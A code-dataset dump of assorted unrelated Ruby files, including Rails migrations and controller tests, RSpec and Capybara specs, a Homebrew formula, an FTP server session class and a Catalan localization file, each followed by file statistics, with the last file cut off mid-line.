"/rwebspec-common/test_script.rb" require File.dirname(__FILE__) + "/rwebspec-common/rspec_helper.rb" require File.dirname(__FILE__) + "/rwebspec-common/load_test_helper" require File.dirname(__FILE__) + "/rwebspec-common/matchers/contains_text" require File.dirname(__FILE__) + "/extensions/rspec_extensions"
27.82
97
0.654445
ed084c3f3f664e13eebab3bdc48abde4deb79d09
400
# coding: utf-8 # MiniTerm needs to put text on the screen! (ANSI Specific Code) module MiniTerm # Put some text onto the screen. def self.print(text) STDOUT.print(text) self end # Sound a beep def self.beep STDERR.write(BELL) STDERR.flush self end # Clear the screen and home the cursor def self.clear_screen STDOUT.print("\e[f\e[2J") self end end
15.384615
64
0.66
03a71335787fa38c9aca8b0bc037b2fe72496ebd
226
class CreateAccounts < ActiveRecord::Migration def self.up create_table :accounts do |t| t.column :username, :string t.column :email, :string end end def self.down drop_table :accounts end end
17.384615
46
0.672566
91eebd090af95770dfcd3830144af13e8f46733f
999
require 'test_helper' class ScansControllerTest < ActionController::TestCase setup do @scan = scans(:one) end test "should get index" do get :index assert_response :success assert_not_nil assigns(:scans) end test "should get new" do get :new assert_response :success end test "should create scan" do assert_difference('Scan.count') do post :create, scan: { gem_list: @scan.gem_list } end assert_redirected_to scan_path(assigns(:scan)) end test "should show scan" do get :show, id: @scan assert_response :success end test "should get edit" do get :edit, id: @scan assert_response :success end test "should update scan" do patch :update, id: @scan, scan: { gem_list: @scan.gem_list } assert_redirected_to scan_path(assigns(:scan)) end test "should destroy scan" do assert_difference('Scan.count', -1) do delete :destroy, id: @scan end assert_redirected_to scans_path end end
19.98
64
0.677678
ac0ea8ea3f97733b7caed2a54b8e931b8f3804c3
155
class CreateTopics < ActiveRecord::Migration[5.2] def change create_table :topics do |t| t.string :title t.timestamps end end end
15.5
49
0.658065
4a64726b8b472f0cfa9e9140b1e893f0d13ae0bf
1,612
if ENV["COVERAGE"] require "simplecov" SimpleCov.start "rails" end ENV["RAILS_ENV"] = "test" require File.expand_path("../../config/environment", __FILE__) require "rspec/rails" require "webmock/rspec" require "email_spec" require "paperclip/matchers" Dir[Rails.root.join("spec/support/**/*.rb")].each { |file| require file } ActiveRecord::Migration.maintain_test_schema! module Features # Extend this module in spec/support/features/*.rb end RSpec.configure do |config| config.expect_with :rspec do |c| c.syntax = :expect end config.fail_fast = true config.fixture_path = "#{::Rails.root}/spec/fixtures" config.include Features, type: :feature config.infer_base_class_for_anonymous_controllers = false config.infer_spec_type_from_file_location! config.order = "random" config.use_transactional_fixtures = false config.include EmailSpec::Helpers config.include EmailSpec::Matchers config.include Paperclip::Shoulda::Matchers config.include ActionDispatch::TestProcess config.after(:each) do Apartment::Tenant.reset drop_schemas reset_mailer end end def drop_schemas connection = ActiveRecord::Base.connection.raw_connection schemas = connection.query(%Q{ SELECT 'drop schema ' || nspname || ' cascade;' FROM pg_namespace WHERE nspname != 'public' AND nspname NOT LIKE 'pg_%' AND nspname != 'information_schema'; }) schemas.each do |schema| connection.query(schema.values.first) end end Capybara.javascript_driver = :webkit Capybara.app_host = "http://hours.dev" WebMock.disable_net_connect!(allow_localhost: true)
24.8
73
0.743176
0187de458eb23baf99fffa15dcbd084137a27363
58
module TokyoMetro::Factory::Save::Api::MlitRailwayLine end
29
54
0.827586
1874349d8001883e8c26b39410e267e9bca5051c
398
class CreateCollaborators < ActiveRecord::Migration[5.1] def change create_table :collaborators do |t| t.integer :disponibilidad t.references :city, foreign_key: true t.references :zone, foreign_key: true t.boolean :mobilidad t.string :herramientas t.references :skill, foreign_key: true t.string :others_skills t.timestamps end end end
24.875
56
0.68593
e262bab2feb3952134efbcf605687e068c376473
1,267
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::CostManagement::Mgmt::V2019_01_01 module Models # # Error response indicates that the service is not able to process the # incoming request. The reason is provided in the error message. # class ErrorResponse include MsRestAzure # @return [ErrorDetails] The details of the error. attr_accessor :error # # Mapper for ErrorResponse class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'ErrorResponse', type: { name: 'Composite', class_name: 'ErrorResponse', model_properties: { error: { client_side_validation: true, required: false, serialized_name: 'error', type: { name: 'Composite', class_name: 'ErrorDetails' } } } } } end end end end
25.857143
74
0.560379
289d030de1578714808988215d960bbd193af7e2
2,605
# Commonly used email steps # # The available methods are: # # deliveries, all_email # current_email # current_email_address # reset_mailer # last_email_sent # inbox, inbox_for # open_email, open_email_for # find_email, find_email_for # email_links # email_links_matching # # # A couple methods to handle some words in these steps # module EmailStepsWordHelpers def get_address(word) return nil if word == "I" || word == "they" word end def get_amount(word) return 0 if word == "no" return 1 if word == "a" || word == "an" word.to_i end end World(EmailStepsWordHelpers) # # Reset the e-mail queue within a scenario. # Given /^(?:a clear email queue|no emails have been sent)$/ do reset_mailer end # # Check how many emails have been sent/received # Then /^(?:I|they|"([^"]*?)") should have (an|no|\d+) emails?$/ do |person, amount| inbox_for(:address => get_address(person)).size.should == get_amount(amount) end # # Accessing email # When /^(?:I|they|"([^"]*?)") opens? the email$/ do |person| open_email(:address => get_address(person)) end When /^(?:I|they|"([^"]*?)") opens? the email with subject "([^"]*?)"$/ do |person, subject| open_email(:address => get_address(person), :with_subject => subject) end When /^(?:I|they|"([^"]*?)") opens? the email with body "([^"]*?)"$/ do |person, body| open_email(:address => get_address(person), :with_body => body) end # # Inspect the Email Contents # Then /^(?:I|they) should see "([^"]*?)" in the email subject$/ do |text| current_email.subject.should include(text) end Then /^(?:I|they) should see \/([^"]*?)\/ in the email subject$/ do |text| current_email.subject.should =~ Regexp.new(text) end Then /^(?:I|they) should see "([^"]*?)" in the email body$/ do |text| current_email.body.should include(text) end Then /^(?:I|they) should see \/([^"]*?)\/ in the email body$/ do |text| current_email.body.should =~ Regexp.new(text) end Then /^(?:I|they) should see the email is delivered from "([^"]*?)"$/ do |text| current_email.from.should include(text) end Then /^(?:I|they) should see "([^\"]*)" in the email "([^"]*?)" header$/ do |text, name| current_email.header[name].should include(text) end Then /^(?:I|they) should see \/([^\"]*)\/ in the email "([^"]*?)" header$/ do |text, name| current_email.header[name].should include(Regexp.new(text)) end # # Interact with Email Contents # When /^(?:I|they) visit "([^"]*?)" in the email$/ do |text| visit email_links_matching(text).first end When /^(?:I|they) visit the first link in the email$/ do visit email_links.first end
23.258929
92
0.652591
03f2e08fb41197b747d2371d23324119378b470f
1,178
module Pechkin # Rack application to handle requests class App DEFAULT_CONTENT_TYPE = { 'Content-Type' => 'application/json' }.freeze DEFAULT_HEADERS = {}.merge(DEFAULT_CONTENT_TYPE).freeze attr_accessor :handler, :logger def initialize(logger) @logger = logger end def call(env) req = Rack::Request.new(env) result = RequestHandler.new(handler, req, logger).handle response(200, result) rescue AppError => e proces_app_error(req, e) rescue StandardError => e process_unhandled_error(req, e) end private def response(code, body) [code.to_s, DEFAULT_HEADERS, [body.to_json]] end def proces_app_error(req, err) data = { status: 'error', message: err.message } req.body.rewind body = req.body.read logger.error "Can't process message: #{err.message}. Body: '#{body}'" response(err.code, data) end def process_unhandled_error(req, err) data = { status: 'error', message: err.message } logger.error("#{err.message}\n\t" + err.backtrace.join("\n\t")) logger.error(req.body.read) response(503, data) end end end
26.177778
75
0.640917
1c162393a38e1a2bce2ba3712d8f9cc4af85e09b
1,458
class Kahip < Formula desc "Karlsruhe High Quality Partitioning" homepage "https://algo2.iti.kit.edu/documents/kahip/index.html" url "https://algo2.iti.kit.edu/schulz/software_releases/KaHIP_2.12.tar.gz" sha256 "b91abdbf9420e2691ed73cea999630e38dfaf0e03157c7a690a998564c652aac" revision 1 bottle do sha256 cellar: :any, arm64_big_sur: "2a3a941d05e8ac41cec5522f11fd835159ffb370452cf788adbcfe0d8c68d654" sha256 cellar: :any, big_sur: "5e9b5722965b55d3cfe41c64138da7d508f3677948783d10fa8bdc6cb14fd899" sha256 cellar: :any, catalina: "a05c9bfbd38225e3730e10756f1515d833f09f61eccd7745c55dd8b78690b790" sha256 cellar: :any, mojave: "57e35f0a81e0d22f9d8d4438994efcc30295e54865525ba89236f58647f66174" sha256 cellar: :any, high_sierra: "78fda0b177b22dc65d0d9b5116dc842aa023cb027afccd4c2f968f42ac55fada" sha256 cellar: :any, x86_64_linux: "05033633bb34c3798b8b284177152f6adc35746031f34390ea600d88d5d41045" end depends_on "cmake" => :build depends_on "gcc" depends_on "open-mpi" def install gcc_major_ver = Formula["gcc"].any_installed_version.major ENV["CC"] = Formula["gcc"].opt_bin/"gcc-#{gcc_major_ver}" ENV["CXX"] = Formula["gcc"].opt_bin/"g++-#{gcc_major_ver}" mkdir "build" do system "cmake", *std_cmake_args, ".." system "make", "install" end end test do output = shell_output("#{bin}/interface_test") assert_match "edge cut 2", output end end
40.5
106
0.754458
39bf0315201aaa60f57fe8b2aa789a0c7455a5d0
231
class CreateWebhooks < ActiveRecord::Migration[5.0] def change create_table :webhooks do |t| t.string :title, null: false, default: '' t.string :url, null: false, default: '' t.timestamps end end end
21
51
0.640693
4a23881e764a913b7054fd14e3335dae5b9b3bf0
2,304
require 'marketingcloudsdk' require_relative 'sample_helper' begin stubObj = MarketingCloudSDK::Client.new auth NameOfAttribute = 'RubySDKTesting' p '>>> Retrieve Profile Attribute' getProfileAttribute = ET_ProfileAttribute.new getProfileAttribute.authStub = stubObj getResponse = getProfileAttribute.get p 'Get Status: ' + getResponse.status.to_s p 'Code: ' + getResponse.code.to_s p 'Message: ' + getResponse.message.to_s p 'Result Count: ' + getResponse.results.length.to_s # p 'Results: ' + getResponse.results.inspect raise 'Failure getting Profile Attribute' unless getResponse.success? p '>>> Create ProfileAttribute' postProfileAttribute = ET_ProfileAttribute.new postProfileAttribute.authStub = stubObj postProfileAttribute.props = {"Name" => NameOfAttribute, "PropertyType"=>"string", "Description"=>"New Attribute from the SDK", "IsRequired"=>"false", "IsViewable"=>"false", "IsEditable"=>"true", "IsSendTime"=>"false"} postResponse = postProfileAttribute.post p 'Post Status: ' + postResponse.status.to_s p 'Code: ' + postResponse.code.to_s p 'Message: ' + postResponse.message.to_s p 'Result Count: ' + postResponse.results.length.to_s p 'Results: ' + postResponse.results.inspect p '>>> Update ProfileAttribute' patchProfileAttribute = ET_ProfileAttribute.new patchProfileAttribute.authStub = stubObj patchProfileAttribute.props = {"Name" => NameOfAttribute, "PropertyType"=>"string"} patchResponse = patchProfileAttribute.patch p 'Patch Status: ' + patchResponse.status.to_s p 'Code: ' + patchResponse.code.to_s p 'Message: ' + patchResponse.message.to_s p 'Result Count: ' + patchResponse.results.length.to_s p 'Results: ' + patchResponse.results.inspect p '>>> Delete ProfileAttribute' deleteProfileAttribute = ET_ProfileAttribute.new deleteProfileAttribute.authStub = stubObj deleteProfileAttribute.props = {"Name" => NameOfAttribute} deleteResponse = deleteProfileAttribute.delete p 'Delete Status: ' + deleteResponse.status.to_s p 'Code: ' + deleteResponse.code.to_s p 'Message: ' + deleteResponse.message.to_s p 'Result Count: ' + deleteResponse.results.length.to_s p 'Results: ' + deleteResponse.results.inspect rescue => e p "Caught exception: #{e.message}" p e.backtrace end
40.421053
220
0.744358
3877068a451130d931d362ecc7d77729c01adcf7
2,899
Capybara::SpecHelper.spec '#window_opened_by', requires: [:windows] do before(:each) do @window = @session.current_window @session.visit('/with_windows') end after(:each) do (@session.windows - [@window]).each do |w| @session.switch_to_window w w.close end @session.switch_to_window(@window) end let(:zero_windows_message) { "block passed to #window_opened_by opened 0 windows instead of 1" } let(:two_windows_message) { "block passed to #window_opened_by opened 2 windows instead of 1" } context 'with :wait option' do it 'should raise error if value of :wait is less than timeout' do Capybara.using_wait_time 1 do expect do @session.window_opened_by(wait: 0.4) do @session.find(:css, '#openWindowWithTimeout').click end end.to raise_error(Capybara::WindowError, zero_windows_message) end @session.document.synchronize(2, errors: [Capybara::CapybaraError]) do raise Capybara::CapybaraError if @session.windows.size != 2 end end it 'should find window if value of :wait is more than timeout' do Capybara.using_wait_time 0.1 do window = @session.window_opened_by(wait: 1.5) do @session.find(:css, '#openWindowWithTimeout').click end expect(window).to be_instance_of(Capybara::Window) end end end context 'without :wait option' do it 'should raise error if default_wait_time is less than timeout' do Capybara.using_wait_time 0.4 do expect do @session.window_opened_by do @session.find(:css, '#openWindowWithTimeout').click end end.to raise_error(Capybara::WindowError, zero_windows_message) end @session.document.synchronize(2, errors: [Capybara::CapybaraError]) do raise Capybara::CapybaraError if @session.windows.size != 2 end end it 'should find window if default_wait_time is more than timeout' do Capybara.using_wait_time 1.5 do window = @session.window_opened_by do @session.find(:css, '#openWindowWithTimeout').click end expect(window).to be_instance_of(Capybara::Window) end end end it 'should raise error when two windows have been opened by block' do expect do @session.window_opened_by do @session.find(:css, '#openTwoWindows').click end end.to raise_error(Capybara::WindowError, two_windows_message) @session.document.synchronize(2, errors: [Capybara::CapybaraError]) do raise Capybara::CapybaraError if @session.windows.size != 3 end end it 'should raise error when no windows were opened by block' do expect do @session.window_opened_by do @session.find(:css, '#doesNotOpenWindows').click end end.to raise_error(Capybara::WindowError, zero_windows_message) end end
34.511905
98
0.676785
6114d43dd9848a19cd5325c4c1243fb0120f6e65
7,061
require 'spec_helper' module VCAP::CloudController RSpec.describe RestagesController do let(:app_event_repository) { Repositories::AppEventRepository.new } before { CloudController::DependencyLocator.instance.register(:app_event_repository, app_event_repository) } describe 'POST /v2/apps/:id/restage' do subject(:restage_request) { post "/v2/apps/#{process.app.guid}/restage", {} } let!(:process) { ProcessModelFactory.make } let(:app_stage) { instance_double(V2::AppStage, stage: nil) } before do allow(V2::AppStage).to receive(:new).and_return(app_stage) end before do set_current_user(account) end context 'as a user' do let(:account) { make_user_for_space(process.space) } it 'should return 403' do restage_request expect(last_response.status).to eq(403) end end context 'as a space auditor' do let(:account) { make_auditor_for_space(process.space) } it 'should return 403' do restage_request expect(last_response.status).to eq(403) end end context 'as a developer' do let(:account) { make_developer_for_space(process.space) } it 'removes the current droplet from the app' do expect(process.desired_droplet).not_to be_nil restage_request expect(last_response.status).to eq(201) expect(process.reload.desired_droplet).to be_nil end it 'restages the app' do restage_request expect(last_response.status).to eq(201) expect(app_stage).to have_received(:stage).with(process) end it 'returns the process' do restage_request expect(last_response.body).to match('v2/apps') expect(last_response.body).to match(process.guid) end context 'when the app is pending to be staged' do before do PackageModel.make(app: process.app) process.reload end it "returns '170002 NotStaged'" do restage_request expect(last_response.status).to eq(400) parsed_response = MultiJson.load(last_response.body) expect(parsed_response['code']).to eq(170002) end end context 'when the process does not exist' do subject(:restage_request) { post '/v2/apps/blub-blub-blub/restage', {} } it '404s' do restage_request expect(last_response.status).to eq(404) parsed_response = MultiJson.load(last_response.body) expect(parsed_response['code']).to eq(100004) expect(parsed_response['description']).to eq('The app could not be found: blub-blub-blub') end end context 'when the web process has 0 instances' do let!(:process) { ProcessModelFactory.make(type: 'web', instances: 0) } before do process.reload end it 'errors because web must have > 0 instances' do restage_request expect(last_response.status).to eq(400) parsed_response = MultiJson.load(last_response.body) expect(parsed_response['code']).to eq(170001) expect(parsed_response['description']).to eq('Staging error: App must have at least 1 instance to stage.') end end context 'when calling with a non-web process guid' do let!(:web_process) { ProcessModelFactory.make(type: 'web', instances: 1) } let!(:process) { ProcessModelFactory.make(type: 'foobar', instances: 1) } before do process.reload end it '404s because restage only works for web processes' do restage_request expect(last_response.status).to eq(404) parsed_response = MultiJson.load(last_response.body) expect(parsed_response['code']).to eq(100004) expect(parsed_response['description']).to match(/The app could not be found:/) end end context 'with a Docker app' do let!(:process) { ProcessModelFactory.make(docker_image: 'some-image') } before do FeatureFlag.create(name: 'diego_docker', enabled: true) end context 'when there are validation errors' do context 'when Docker is disabled' do before do FeatureFlag.find(name: 'diego_docker').update(enabled: false) end it 'correctly propagates the error' do restage_request expect(last_response.status).to eq(400) expect(decoded_response['code']).to eq(320003) expect(decoded_response['description']).to match(/Docker support has not been enabled./) end end end end describe 'events' do before do allow(app_event_repository).to receive(:record_app_restage).and_call_original end context 'when the restage completes without error' do let(:user_audit_info) { UserAuditInfo.from_context(SecurityContext) } before do allow(UserAuditInfo).to receive(:from_context).and_return(user_audit_info) end it 'generates an audit.app.restage event' do expect { restage_request }.to change { Event.count }.by(1) expect(last_response.status).to eq(201) expect(app_event_repository).to have_received(:record_app_restage).with(process, user_audit_info) end end context 'when the restage fails due to an error' do before do allow(app_stage).to receive(:stage).and_raise('Error staging') end it 'does not generate an audit.app.restage event' do expect { restage_request }.to raise_error(/Error staging/) { expect(app_event_repository).to_not have_received(:record_app_restage) } end end end context 'when the app has a staged droplet but no package' do before do process.latest_package.destroy end it 'raises error' do restage_request expect(last_response.status).to eq(400) expect(last_response.body).to include('bits have not been uploaded') end end context 'when the revisions enabled feature flag is true' do before do process.app.update(revisions_enabled: true) end it 'does not create a revision (this happens later during the staging completion callback)' do restage_request expect(last_response.status).to eq(201) expect(process.app.revisions.length).to eq(0) end end end end end end
32.995327
118
0.595808
039b3dd0405f280b4d7ec3a274947c887ee01fac
122
class AddFlatUserIdToUsers < ActiveRecord::Migration[5.2] def change add_column :users, :flat_id, :string end end
20.333333
57
0.745902
4a0f2860e8fdc11e466ceab695f632ea085af024
239
require 'spec_helper' [22, 80, 443].each do |port| describe port(port) do it { is_expected.to be_listening } end end [3000, 3306, 4000].each do |port| describe port(port) do it { is_expected.not_to be_listening } end end
17.071429
42
0.682008
397ca70f4a103172360cc05e2d6a79528de2ee68
1,405
# frozen_string_literal: true require 'spec_helper' RSpec.describe 'Merge request > User edits MR' do include ProjectForksHelper before do stub_licensed_features(multiple_merge_request_assignees: false) end context 'non-fork merge request' do include_context 'merge request edit context' it_behaves_like 'an editable merge request' end context 'for a forked project' do let(:source_project) { fork_project(target_project, nil, repository: true) } include_context 'merge request edit context' it_behaves_like 'an editable merge request' end context 'when merge_request_reviewers is turned on' do before do stub_feature_flags(merge_request_reviewers: true) end context 'non-fork merge request' do include_context 'merge request edit context' it_behaves_like 'an editable merge request with reviewers' end context 'for a forked project' do let(:source_project) { fork_project(target_project, nil, repository: true) } include_context 'merge request edit context' it_behaves_like 'an editable merge request with reviewers' end end context 'when merge_request_reviewers is turned off' do before do stub_feature_flags(merge_request_reviewers: false) end it 'does not render reviewers dropdown' do expect(page).not_to have_selector('.js-reviewer-search') end end end
27.019231
82
0.739502
b9b608d2f5257335c34ed9ea87624110e77785fe
550
require "spec_helper" describe "Git recipe" do Vito::Tests::VagrantTestBox.boxes(:ubuntu10, :ubuntu12).each do |box| it "tests on #{box.name}" do setup_vagrant(box) assert_installation(box, "git --version").should be_false Vito::DslFile.new.run do server do connection :ssh, command: "ssh -i ~/.vagrant.d/insecure_private_key vagrant@localhost -p#{box.ssh_port}", verbose: true install :git end end assert_installation(box, "git --version").should be_true end end end
26.190476
129
0.650909
87487e03199f91d3377ed0fe76aca0f7d1b3c82c
1,135
require 'rails_helper' RSpec.describe Paper, type: :model do it "should fail validation without a title" do paper_authors = FactoryGirl.build_list :author, 1 paper = Paper.new(venue: "Mgz", year: 2017, authors: paper_authors) expect(paper).not_to be_valid end it "should fail validation without a venue" do paper_authors = FactoryGirl.build_list :author, 1 paper = Paper.new(title: "Breaking Time", year: 2017, authors: paper_authors) expect(paper).not_to be_valid end it "should fail validation without a year" do paper_authors = FactoryGirl.build_list :author, 1 paper = Paper.new(title: "Breaking Time", venue: "Mgz", authors: paper_authors) expect(paper).not_to be_valid end it "should fail validation with non-integer year" do paper_authors = FactoryGirl.build_list :author, 1 paper = Paper.new(title: "Breaking Time", venue: "Mgz", year: "Sexteen", authors: paper_authors) expect(paper).not_to be_valid paper_float = Paper.new(title: "Breaking Time", venue: "Mgz", year: "2015.75", authors: paper_authors) expect(paper_float).not_to be_valid end end
34.393939
106
0.720705
33126080341a4f1c53b33deb4b799dd574573ecc
5,579
# frozen_string_literal: true module Ftpd class Session include Error include ListPath attr_accessor :command_sequence_checker attr_accessor :data_channel_protection_level attr_accessor :data_server attr_accessor :data_server_factory attr_accessor :data_type attr_accessor :logged_in attr_accessor :name_prefix attr_accessor :protection_buffer_size_set attr_accessor :socket attr_reader :config attr_reader :data_hostname attr_reader :data_port attr_reader :file_system attr_writer :epsv_all attr_writer :mode attr_writer :structure # @params session_config [SessionConfig] Session configuration # @param socket [TCPSocket, OpenSSL::SSL::SSLSocket] The socket def initialize(session_config, socket) @config = session_config @socket = socket if @config.tls == :implicit @socket.encrypt end @command_sequence_checker = init_command_sequence_checker set_socket_options @protocols = Protocols.new(@socket) @command_handlers = CommandHandlers.new @command_loop = CommandLoop.new(self) @data_server_factory = DataServerFactory.make( @socket.addr[3], config.passive_ports, ) register_commands initialize_session end def run @command_loop.read_and_execute_commands end private def register_commands handlers = CommandHandlerFactory.standard_command_handlers handlers.each do |klass| @command_handlers << klass.new(self) end end def valid_command?(command) @command_handlers.has?(command) end def execute_command command, argument @command_handlers.execute command, argument end def ensure_logged_in return if @logged_in error "Not logged in", 530 end def ensure_tls_supported unless tls_enabled? error "TLS not enabled", 534 end end def ensure_not_epsv_all if @epsv_all error "Not allowed after EPSV ALL", 501 end end def tls_enabled? @config.tls != :off end def ensure_protocol_supported(protocol_code) unless @protocols.supports_protocol?(protocol_code) protocol_list = @protocols.protocol_codes.join(',') error("Network protocol #{protocol_code} not supported, "\ "use (#{protocol_list})", 522) end end def supported_commands @command_handlers.commands.map(&:upcase) end def pwd(status_code) reply %Q(#{status_code} "#{@name_prefix}" is current directory) end FORMAT_TYPES = { 'N'=>['Non-print', true], 'T'=>['Telnet format effectors', true], 'C'=>['Carriage Control (ASA)', false], } DATA_TYPES = { 'A'=>['ASCII', true], 'E'=>['EBCDIC', false], 'I'=>['BINARY', true], 'L'=>['LOCAL', false], } def expect(command) @command_sequence_checker.expect command end def set_file_system(file_system) @file_system = file_system end def command_not_needed reply '202 Command not needed at this site' end def close_data_server_socket return unless @data_server @data_server.close @data_server = nil end def reply(s) if @config.response_delay.to_i != 0 @config.log.warn "#{@config.response_delay} second delay before replying" sleep @config.response_delay end @config.log.debug s @socket.write s + "\r\n" end def init_command_sequence_checker checker = CommandSequenceChecker.new checker.must_expect 'acct' checker.must_expect 'pass' checker.must_expect 'rnto' checker end def authenticate(*args) while args.size < @config.driver.method(:authenticate).arity args << nil end @config.driver.authenticate(*args) end def login(*auth_tokens) user = auth_tokens.first unless authenticate(*auth_tokens) failed_auth error "Login incorrect", 530 end reply "230 Logged in" set_file_system @config.driver.file_system(user) @logged_in = true reset_failed_auths end def set_socket_options disable_nagle @socket receive_oob_data_inline @socket end def disable_nagle(socket) socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) end def receive_oob_data_inline(socket) socket.setsockopt(Socket::SOL_SOCKET, Socket::SO_OOBINLINE, 1) end def reset_failed_auths @failed_auths = 0 end def failed_auth @failed_auths += 1 sleep @config.failed_login_delay if @config.max_failed_logins && @failed_auths >= @config.max_failed_logins reply "421 server unavailable" throw :done end end def set_active_mode_address(address, port) if port > 0xffff || port < 1024 && [email protected]_low_data_ports error "Command not implemented for that parameter", 504 end @data_hostname = address @data_port = port end def initialize_session @logged_in = false @data_type = 'A' @mode = 'S' @structure = 'F' @name_prefix = '/' @data_channel_protection_level = :clear @data_hostname = nil @data_port = nil @protection_buffer_size_set = false @epsv_all = false close_data_server_socket reset_failed_auths end def server_name_and_version "#{@config.server_name} #{@config.server_version}" end end end
24.469298
81
0.655315
2870c47d77354354b8120a06f15a8734557881d5
263
cask 'font-nova-flat' do version :latest sha256 :no_check url 'https://github.com/google/fonts/raw/master/ofl/novaflat/NovaFlat.ttf' name 'Nova Flat' homepage 'http://www.google.com/fonts/specimen/Nova%20Flat' license :ofl font 'NovaFlat.ttf' end
21.916667
76
0.726236
e90536aee4cab89190ad657b47869f42db253c45
4,572
# lang_ca.rb # Catalan translation file. # Translation by Andrés Cirugeda andres.cirugeda(at)gmail.com module LocalizationSimplified About = { :lang => "ca", :updated => "2007-02-01" } class ActiveRecord # ErrorMessages to override default messages in # +ActiveRecord::Errors::@@default_error_messages+ # This plugin also replaces hardcoded 3 text messages # :error_translation is inflected using the Rails # inflector. # # Remember to modify the Inflector with your localized translation # of "error" and "errors" in the bottom of this file # ErrorMessages = { :inclusion => "no està inclós a la llista", :exclusion => "està reservat", :invalid => "no és vàlid", :confirmation => "no coincideix amb la confirmació", :accepted => "ha de ser acceptat", :empty => "no pot ser buit", :blank => "no pot estar en blanc",# alternate formulation: "is required" :too_long => "és massa llarg (el màxim és %d caracters)", :too_short => "és massa curt (el mínim és %d caracters)", :wrong_length => "no té la llàrgaria correcta (hauria de ser de %d caracters)", :taken => "ja està ocupat", :not_a_number => "no és un nombre", #Jespers additions: :error_translation => "error", :error_header => "%s no permet guardar %s", :error_subheader => "Hi ha hagut problemes amb els següents camp:" } end # Texts to override +distance_of_time_in_words()+ class DateHelper Texts = { :less_than_x_seconds => "menys de %d segons", :half_a_minute => "mig minut", :less_than_a_minute => "menys d'un minut", :one_minute => "1 minut", :x_minutes => "%d minuts", :one_hour => "al voltant d'una hora", :x_hours => "al voltant de %d hores", :one_day => "un dia", :x_days => "%d dies", :one_month => "1 mes", :x_months => "%d mesos", :one_year => "1 any", :x_years => "%d anys" } # Rails uses Month names in Date and time select boxes # (+date_select+ and +datetime_select+ ) # Currently (as of version 1.1.6), Rails doesn't use daynames Monthnames = [nil] + %w{gener febrer març abril maig juny juliol agost setembre octubre novembre desembre} AbbrMonthnames = [nil] + %w{gen feb mar abr mai jun jul ago set oct nov des} Daynames = %w{diumenge dilluns dimarts dimecres dijous divendres dissabte} AbbrDaynames = %w{dmg dll dmt dmc djs dvn dsb} # Date and time format syntax explained in http://www.rubycentral.com/ref/ref_c_time.html#strftime # These are sent to strftime that Ruby's date and time handlers use internally # Same options as php (that has a better list: http://www.php.net/strftime ) DateFormats = { :default => "%Y-%m-%d", :short => "%b %e", :long => "%B %e, %Y" } TimeFormats = { :default => "%a, %d %b %Y %H:%M:%S %z", :short => "%d %b %H:%M", :long => "%B %d, %Y %H:%M" } # Set the order of +date_select+ and +datetime_select+ boxes # Note that at present, the current Rails version only supports ordering of date_select boxes DateSelectOrder = { :order => [:day, :month, :year] #default Rails is US ordered: :order => [:year, :month, :day] } end class NumberHelper # CurrencyOptions are used as default for +Number#to_currency()+ # http://api.rubyonrails.org/classes/ActionView/Helpers/NumberHelper.html#M000449 CurrencyOptions = { :unit => "€", :separator => ",", #unit separator (between integer part and fraction part) :delimiter => ".", #delimiter between each group of thousands. Example: 1.234.567 :order => [:unit, :number] #order is at present unsupported in Rails } end class ArrayHelper # Modifies +Array#to_sentence()+ # http://api.rubyonrails.org/classes/ActiveSupport/CoreExtensions/Array/Conversions.html#M000274 ToSentenceTexts = { :connector => 'i', :skip_last_comma => true } end end # Use the inflector below to pluralize "error" from # @@default_error_messages[:error_translation] above (if necessary) # Inflector.inflections do |inflect| # inflect.plural /^(error)$/i, '\1s' # end
39.413793
114
0.590114
91f952f48efb454f3a40e583373663b16c21062d
2,248
# frozen_string_literal: true module Vedeu module Coercers # Coerces a colour options hash into: an empty hash, or a hash # containing either or both background and foreground keys. # # @api private # class ColourAttributes include Vedeu::Common # @param value [Hash] # @return [Hash] def self.coerce(value) new(value).coerce end # @param value [Hash] # @return [Hash] def initialize(value) @value = value end # @macro raise_invalid_syntax # @return [Hash] def coerce raise Vedeu::Error::InvalidSyntax unless hash?(value) if colour? && hash?(colour) Vedeu::Coercers::ColourAttributes.coerce(colour) elsif colour? && coerced?(colour) colour.attributes else coerced_background.merge(coerced_foreground) end end protected # @!attribute [r] value # @return [Hash] attr_reader :value private # @param colour [void] # @return [Boolean] def coerced?(colour) colour.is_a?(klass) end # @return [Hash] def coerced_background return {} unless background? { background: background, } end # @return [NilClass|String] def background value[:background] end # @return [Boolean] def background? valid?(background) end # @return [Hash] def colour value[:colour] end # @return [Boolean] def colour? value.key?(:colour) end # @return [Hash] def coerced_foreground return {} unless foreground? { foreground: foreground, } end # @return [NilClass|String] def foreground value[:foreground] end # @return [Boolean] def foreground? valid?(foreground) end # @return [Class] def klass Vedeu::Colours::Colour end # @param colour [void] # @return [Boolean] def valid?(colour) Vedeu::Colours::Validator.valid?(colour) end end # ColourAttributes end # Coercers end # Vedeu
18.276423
66
0.548932
01a297057d8d455f6cb14ebf3165641315d6fbb3
530
module FindAStandard class ResultsPresenter def initialize(result) @result = result end def title @result['_source']['title'] end def url @result['_source']['url'] end def description @result['_source']['description'] end def body if !@result['highlight'].nil? "...#{@result['highlight']['body'].first}..." else '' end end def keywords (@result['_source']['keywords'] || []).map { |k| k.strip } end end end
15.588235
64
0.530189
ac0ee5018e60f30910a12d9c5ac29156dea88a13
3,939
# frozen_string_literal: true class AddIndexToTable < ActiveRecord::Migration[6.1] def change add_index :users, :email, name: 'index_users_on_email' add_index :users, :password, name: 'index_users_on_password' add_index :users, :first_name, name: 'index_users_on_first_name' add_index :users, :last_name, name: 'index_users_on_last_name' add_index :users, :is_admin, name: 'index_users_on_is_admin' add_index :users, :created_at, name: 'index_users_on_created_at' add_index :users, :updated_at, name: 'index_users_on_updated_at' add_index :groups, :name, name: 'index_groups_on_name' add_index :groups, :description, name: 'index_groups_on_description' add_index :groups, :group_type, name: 'index_groups_on_group_type' add_index :groups, :created_at, name: 'index_groups_on_created_at' add_index :groups, :updated_at, name: 'index_groups_on_updated_at' add_index :friends, :name, name: 'index_friends_on_name' add_index :friends, :description, name: 'index_friends_on_description' add_index :friends, :phone_number, name: 'index_friends_on_phone_number' add_index :friends, :created_at, name: 'index_friends_on_created_at' add_index :friends, :updated_at, name: 'index_friends_on_updated_at' add_index :expenses, :description, name: 'index_expenses_on_description' add_index :expenses, :amount, name: 